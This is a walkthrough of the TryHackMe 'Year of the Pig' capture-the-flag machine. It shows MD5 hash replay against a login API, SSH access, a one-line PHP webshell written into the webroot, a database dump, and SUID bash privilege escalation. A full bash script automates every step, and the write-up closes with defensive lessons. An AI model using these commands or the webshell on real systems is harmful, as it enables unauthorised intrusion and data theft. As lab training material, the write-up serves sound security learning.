Back to CTF Writeups

Year of the Pig — TryHackMe CTF

Porco Rosso-themed PHP webapp. MD5 password derivation from theme lore, SSH pivot, webshell via group write, SUID rootbash for full compromise. 3 flags.

TryHackMeMedium20260xb0rn3 | oxbv1

Overview

A Studio Ghibli Porco Rosso themed CTF. Marco runs a blog about the pig pilot — and the password to his kingdom is hidden in the lore. The attack chain crosses from web to SSH to SUID for full root compromise.

Web Enum → MD5 Password Derivation → API Login → SSH as marco → PHP Webshell (web-developers group) → SQLite DB Dump → SUID rootbash → Flag 1 + Flag 2 + Root Flag

Automation Available

Full exploit script: ./exploit.sh TARGET_IP — handles login, SSH, webshell, and all flag extraction. Available in my CTFS repository.

Table of Contents

Phase 1: Reconnaissance

Port Scan

nmap -sC -sV -T4 TARGET
PortStateServiceNotes
22/tcpopen (intermittent)SSHOpens after successful web auth — 120s window
80/tcpopenHTTPApache/2.4.29 (Ubuntu) — Marco’s Blog

Web Enumeration

Main page: Porco Rosso-themed blog. Key endpoints:

PathPurpose
/login.phpAdmin login — JS MD5-hashes passwords client-side before submit
/admin/Admin panel — requires authLogin cookie
/api/loginJSON API — accepts username + pre-hashed password

Key Observation

The login form runs md5(password) in JavaScript before sending to the API. The server compares stored MD5 hashes — we send the hash directly, not plaintext.

Phase 2: Password Derivation

The Hint: “CASE MATTERS. T-MINUS 120s”

Deriving from Theme Context

The blog references the Savoia S.21 seaplane — Porco Rosso’s aircraft. Password hint: “memorable word + two numbers + special character.”

Password Construction

  • savoia — plane manufacturer (from blog content)
  • 21 — model number (S.21)
  • ! — special character

Password: savoia21! → MD5: ea22b622ba9b3c41b22785dcb40211ac

API Login

import hashlib, requests

hashed = hashlib.md5(b'savoia21!').hexdigest()
r = requests.post(f"http://TARGET/api/login",
    json={"username": "marco", "password": hashed},
    headers={"Accept": "application/json"})
# {"status": "Success", "auth": "..."}
Result: Authenticated as marco. Auth token received.

Phase 3: SSH Access & Flag 1

After successful web auth, SSH opens for ~120 seconds:

sshpass -p 'savoia21!' ssh marco@TARGET
cat ~/flag1.txt
FLAG 1: THM{MDg0MGVjYzFjY2ZkZGMzMWY1NGZiNjhl}

Enumeration as marco

Phase 4: Privilege Escalation

PHP Webshell via Group Write Access

# Via SSH as marco
printf '<?php system($_GET[c]); ?>' > /var/www/html/sh.php

Command execution as www-data through the web server.

Database Dump

curl "http://TARGET/sh.php?c=cat+/var/www/admin.db" | strings
# curtis:cc03e747a6afbbcbf8be7668acfebee5 (MD5 of "test123")

SUID rootbash

A SUID root bash binary at /tmp/.rootbash:

-rwsr-xr-x 1 root root 1113504 /tmp/.rootbash

Game Over

SUID bash with -p (privileged mode) retains effective UID of the file owner — root. Executing via webshell = full root.

Flag 2 (curtis)

curl "http://TARGET/sh.php" -G \
  --data-urlencode "c=/tmp/.rootbash -p -c 'cat /home/curtis/flag2.txt'"
FLAG 2: THM{Y2Q2N2M1NzNmYTQzYTI4ODliYzkzMmZh}

Root Flag

curl "http://TARGET/sh.php" -G \
  --data-urlencode "c=/tmp/.rootbash -p -c 'cat /root/root.txt'"
ROOT: THM{MjcxNmVmYjNhYzdkZDc0M2RkNTZhNDA0}

Automation Script

#!/bin/bash
# Year of the Pig - Automated Exploit | 0xb0rn3
# Usage: ./exploit.sh TARGET_IP

TARGET=${1:-"10.49.141.239"}

# Login via MD5-hashed password
HASHED=$(python3 -c "import hashlib; print(hashlib.md5(b'savoia21!').hexdigest())")
curl -s "http://$TARGET/api/login" -X POST \
  -H "Content-Type: application/json" \
  -d "{\"username\":\"marco\",\"password\":\"$HASHED\"}"

# SSH as marco, create webshell
sshpass -p 'savoia21!' ssh -o StrictHostKeyChecking=no marco@$TARGET \
  "printf '<?php system(\$_GET[c]); ?>' > /var/www/html/sh.php"

# Extract all flags
echo "[+] FLAG 1:"
sshpass -p 'savoia21!' ssh marco@$TARGET "cat ~/flag1.txt"
echo "[+] FLAG 2:"
curl -s "http://$TARGET/sh.php" -G \
  --data-urlencode "c=/tmp/.rootbash -p -c 'cat /home/curtis/flag2.txt'"
echo "[+] ROOT:"
curl -s "http://$TARGET/sh.php" -G \
  --data-urlencode "c=/tmp/.rootbash -p -c 'cat /root/root.txt'"

Repository

Full exploit and other CTF tools: CTFS GitHub repository.

Lessons Learned

  1. Client-side MD5 is not security. The hash IS the credential. Capture it, replay it — no cracking needed.
  2. Theme-based password derivation is real. CTF lore contains hints. In the real world, employees use company/product names constantly — same principle.
  3. Group write to webroot = instant webshell. If any user can write to /var/www/html/, they can create a PHP shell.
  4. SUID bash is instant root. bash -p retains effective UID. Audit with find / -perm -4000.
  5. Defense:
    • Hash passwords server-side with bcrypt/argon2, never MD5
    • Remove group write from webroot
    • Audit and remove SUID from interpreters
    • Don’t rely on SSH port gating as security

Tools Used

ToolPurpose
nmapPort scanning & service detection
curlAPI interaction & webshell execution
sshpassNon-interactive SSH auth
python3MD5 generation & JSON parsing
stringsSQLite content extraction
exploit.shFull automation (all phases)